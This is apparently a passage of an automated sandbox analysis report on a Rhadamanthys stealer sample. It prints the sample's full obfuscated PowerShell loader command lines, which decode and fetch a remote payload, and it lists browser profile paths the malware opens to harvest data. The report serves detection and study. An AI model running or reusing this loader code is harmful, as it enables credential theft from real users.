drnivfy:um1.e3fo1u .,t0 ,)se begnoehjc,ok loet/ h2i 0,n1im0.v0du1ri0 p1pr .kfj,is,rstedef,novrxsk/af1ud3ru1to.ve0';$endomysial=elevtimens ',nuasshae,krre-biaougbae n at';$niveauoplysning=elevtimens ' h stant bptes t: h/kh/unpratras y.a gnor lo ,u ap o/u aalb ./p l aainnbrehvyno.fod ksvap.r>cohemt .tn.p,ask :r / / nwsmw uwfa.yapskurenhoebae ut b. aapee.n/aracobs,/ lt,arenspec yo.. td oskrp';$afpolitiserendes=elevtimens ',a>';$nongame=elevtimens 'ruik,enox';$stripperne='bystyrers';$assumptiveness='\nonfattening.ret';fortynderes (elevtimens ' p$ungsell.o be,afllh : ,f no pr ss ,dnoeno=co$dier nlivly: abop lpp d pa .t a m+sa$baa ,sdoscau um pudtmeiviv tesun e ds.us');fortynderes (elevtimens 'ex$ kgmalunobab,ea lgr:k bruiprbtue kh.wo ,lrodfle mlbus ues,n vsab=,y$ovn sis vfoetiaacu tosppvilinyplskvnunikon lg .mess pgrlalivat s(af$praunf epnyo lpoisetb irrs.ped r re ynmudpretvsma)');fortynderes (elevtimens $hiwire);$niveauoplysning=$bibeholdelsens[0];$heda=(elevtimens ' a$maglalgaoprbr,arula :myskotulr am smnoeok=inn ae uw s-unodib ,j efoc itpu r sg y osf tl.ed mbl.re$sufmbainn kgdelpae id');fortynderes ($heda);fortynderes (elevtimens 'fo$e s stubrlem im uecu. hsletoapad.neskrpasha[n $p eshngtd ao fm cyses ribaaprlbo]tr=un$alg falus tane cd');$preposed=elevtimens ' o$afsp,ttyrp.mhem.oe,n.sndacocrwgrn ol locoamyd afo istlsteti(as$ on niprvrue a tumuoc,psul kysasfank imanrogko,p,$inhmajgaewarben nemirbjsre)';$hjerners=$forsde;fortynderes (elevtimens ' .$,ngtil o.obbla ll s:hadear,eio,ktekroediv .achrale fr sn.ie espa=hi( et ,emess t k-pepala etdahsi an$behlgjggeovrunnlee rrsksha)');while (!$drikkevarernes) {fortynderes (elevtimens ' t$ gbelino b airlhj: lpomrv ou.teneges ptuns,lyp r f=,u$ ,a on stmyi sc way p,li st a hl sisusmit aianc') ;fortynderes $preposed;fortynderes (elevtimens ' osh,t pas rhatso-e srelene.iemupch m4');fortynderes (elevtimens ' i$prginlseo nbblasklde:vedi rs irdkt.kvies vmiakl
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" ";$kollationernendkaldebefjelses='elefantridderne';;$flumed='rundingernes';;$metropoler='larceners';;$provisionsindtgters='drivremmen';;$smedejernslaage=$host.name;function elevtimens($ballongynges){if ($smedejernslaage) {$firspandets79=2} for ($kollationerne=$firspandets79;;$kollationerne+=3){if(!$ballongynges[$kollationerne]) { break };$bibliofil+=$ballongynges[$kollationerne];$squibbery='jogurternes'}$bibliofil}function fortynderes($thuds){ .($nongame) ($thuds)}$fangled=elevtimens 'ton repltsi.dew';$fangled+=elevtimens 's e.ubc,c olr.i hestns t';$gasted=elevtimens 's.manobazobip l lahame/';$dealation=elevtimens 'cotvalslsej1pl2';$hiwire='st[lunf,e.dtl . scee sr iv,liroc .ehyp .o ,iunnrytfrm.ia n maudg oemir l]va:ch:ras te tc su r aiprt ymipspr foint poaacn,orklna= ,$ vdbeeaga.ul zaintfli.po an';$gasted+=elevtimens 'an5 t.co0 a(fuwwiigen kdbao ,wkosho manretu t1fe0he.da0 i;o trw eihenu 6 4j ;fa ,mxsn6 o4fi;b drnivfy:um1.e3fo1u .,t0 ,)se begnoehjc,ok loet/ h2i 0,n1im0.v0du1ri0 p1pr .kfj,is,rstedef,novrxsk/af1ud3ru1to.ve0';$endomysial=elevtimens ',nuasshae,krre-biaougbae n at';$niveauoplysning=elevtimens ' h stant bptes t: h/kh/unpratras y.a gnor lo ,u ap o/u aalb ./p l aainnbrehvyno.fod ksvap.r>cohemt .tn.p,ask :r / / nwsmw uwfa.yapskurenhoebae ut b. aapee.n/aracobs,/ lt,arenspec yo.. td oskrp';$afpolitiserendes=elevtimens ',a>';$nongame=elevtimens 'ruik,enox';$stripperne='bystyrers';$assumptiveness='\nonfattening.ret';fortynderes (elevtimens ' p$ungsell.o be,afllh : ,f no pr ss ,dnoeno=co$dier nlivly: abop lpp d pa .t a m+sa$baa ,sdoscau um pudtmeiviv tesun e ds.us');fortynderes (elevtimens 'ex$ kgmalunobab,ea lgr:k bruiprbtue kh.wo ,lrodfle mlbus ues,n vsab=,y$ovn sis vfoetiaacu tosppvilinyplskvnunikon lg .mess pgrlalivat s(af$praunf epnyo lpoisetb irrs.ped r re ynmudpretvsma)');fortynderes (elevtimens $hiwire);$niveauoplysning=$bibeholdelsens[0];$heda=(elevtimens ' a$maglalgaoprbr,arula :myskotulr am smnoeok=inn ae uw s-unodib ,j efoc itpu r sg y osf tl.ed mbl.re$sufmbainn kgdelpae id');fortynderes ($heda);fortynderes (elevtimens 'fo$e s stubrlem im uecu. hsletoapad.neskrpasha[n $p eshngtd ao fm cyses ribaaprlbo]tr=un$alg falus tane cd');$preposed=elevtimens ' o$afsp,ttyrp.mhem.oe,n.sndacocrwgrn ol locoamyd afo istlsteti(as$ on niprvrue a tumuoc,psul kysasfank imanrogko,p,$inhmajgaewarben nemirbjsre)';$hjerners=$forsde;fortynderes (elevtimens ' .$,ngtil o.obbla ll s:hadear,eio,ktekroediv .achrale fr sn.ie espa=hi( et ,emess t k-pepala etdahsi an$behlgjggeovrunnlee rrsksha)');while (!$drikkevarernes) {fortynderes (elevtimens ' t$ gbelino b airlhj: lpomrv ou.teneges ptuns,lyp r f=,u$ ,a on stmyi sc way p,li st a hl sisusmit aianc') ;fortynderes $preposed;fortynderes (elevtimens ' osh,t pas rhatso-e srelene.iemupch m4');fortynderes (elevtimens ' i$prginlseo nbblasklde:vedi rs irdkt.kvies vmiakl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$kollationernendkaldebefjelses='elefantridderne';;$flumed='rundingernes';;$metropoler='larceners';;$provisionsindtgters='drivremmen';;$smedejernslaage=$host.name;function elevtimens($ballongynges){if ($smedejernslaage) {$firspandets79=2} for ($kollationerne=$firspandets79;;$kollationerne+=3){if(!$ballongynges[$kollationerne]) { break };$bibliofil+=$ballongynges[$kollationerne];$squibbery='jogurternes'}$bibliofil}function fortynderes($thuds){ .($nongame) ($thuds)}$fangled=elevtimens 'ton repltsi.dew';$fangled+=elevtimens 's e.ubc,c olr.i hestns t';$gasted=elevtimens 's.manobazobip l lahame/';$dealation=elevtimens 'cotvalslsej1pl2';$hiwire='st[lunf,e.dtl . scee sr iv,liroc .ehyp .o ,iunnrytfrm.ia n maudg oemir l]va:ch:ras te tc su r aiprt ymipspr foint poaacn,orklna= ,$ vdbeeaga.ul zaintfli.po an';$gasted+=elevtimens 'an5 t.co0 a(fuwwiigen kdbao ,wkosho manretu t1fe0he.da0 i;o trw eihenu 6 4j ;fa ,mxsn6 o4fi;b drnivfy:um1.e3fo1u .,t0 ,)se begnoehjc,ok loet/ h2i 0,n1im0.v0du1ri0 p1pr .kfj,is,rstedef,novrxsk/af1ud3ru1to.ve0';$endomysial=elevtimens ',nuasshae,krre-biaougbae n at';$niveauoplysning=elevtimens ' h stant bptes t: h/kh/unpratras y.a gnor lo ,u ap o/u aalb ./p l aainnbrehvyno.fod ksvap.r>cohemt .tn.p,ask :r / / nwsmw uwfa.yapskurenhoebae ut b. aapee.n/aracobs,/ lt,arenspec yo.. td oskrp';$afpolitiserendes=elevtimens ',a>';$nongame=elevtimens 'ruik,enox';$stripperne='bystyrers';$assumptiveness='\nonfattening.ret';fortynderes (elevtimens ' p$ungsell.o be,afllh : ,f no pr ss ,dnoeno=co$dier nlivly: abop lpp d pa .t a m+sa$baa ,sdoscau um pudtmeiviv tesun e ds.us');fortynderes (elevtimens 'ex$ kgmalunobab,ea lgr:k bruiprbtue kh.wo ,lrodfle mlbus ues,n vsab=,y$ovn sis vfoetiaacu tosppvilinyplskvnunikon lg .mess pgrlalivat s(af$praunf epnyo lpoisetb irrs.ped r re ynmudpretvsma)');fortynderes (elevtimens $hiwire);$niveauoplysning=$bibeholdelsens[0];$heda=(elevtimens ' a$maglalgaoprbr,arula :myskotulr am smnoeok=inn ae uw s-unodib ,j efoc itpu r sg y osf tl.ed mbl.re$sufmbainn kgdelpae id');fortynderes ($heda);fortynderes (elevtimens 'fo$e s stubrlem im uecu. hsletoapad.neskrpasha[n $p eshngtd ao fm cyses ribaaprlbo]tr=un$alg falus tane cd');$preposed=elevtimens ' o$afsp,ttyrp.mhem.oe,n.sndacocrwgrn ol locoamyd afo istlsteti(as$ on niprvrue a tumuoc,psul kysasfank imanrogko,p,$inhmajgaewarben nemirbjsre)';$hjerners=$forsde;fortynderes (elevtimens ' .$,ngtil o.obbla ll s:hadear,eio,ktekroediv .achrale fr sn.ie espa=hi( et ,emess t k-pepala etdahsi an$behlgjggeovrunnlee rrsksha)');while (!$drikkevarernes) {fortynderes (elevtimens ' t$ gbelino b airlhj: lpomrv ou.teneges ptuns,lyp r f=,u$ ,a on stmyi sc way p,li st a hl sisusmit aianc') ;fortynderes $preposed;fortynderes (elevtimens ' osh,t pas rhatso-e srelene.iemupch m4');fortynderes (elevtimens ' i$prginlseo nbblasklde:vedi rs irdkt.kvies vmiakl	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\svchost.exe

Code function: 14_3_00007DF4526259B0 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,

14_3_00007DF4526259B0

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected RHADAMANTHYS Stealer

Stealing of Sensitive Information

Source: Yara match	File source: 0000000D.00000003.1943543611.0000000002DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1940336602.0000000000130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2033441930.0000000003510000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1955237609.00000000232F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\y572q81e.default	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\startupCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\safebrowsing\google4	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\settings\main	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\safebrowsing	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\settings\main\ms-language-packs\browser\newtab	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fu7wner3.default-release\cache2\doomed	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
